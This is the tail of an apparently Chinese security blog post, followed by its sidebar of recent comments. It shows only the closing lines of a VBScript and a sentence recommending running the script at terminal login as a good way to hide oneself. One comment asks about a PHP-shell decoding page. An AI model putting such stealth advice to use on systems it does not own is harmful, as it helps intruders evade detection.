Set oShell = Nothing
wend


用此脚本,登陆终端时打开就可以了,这也是一个比较好的隐藏自己的办法。

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...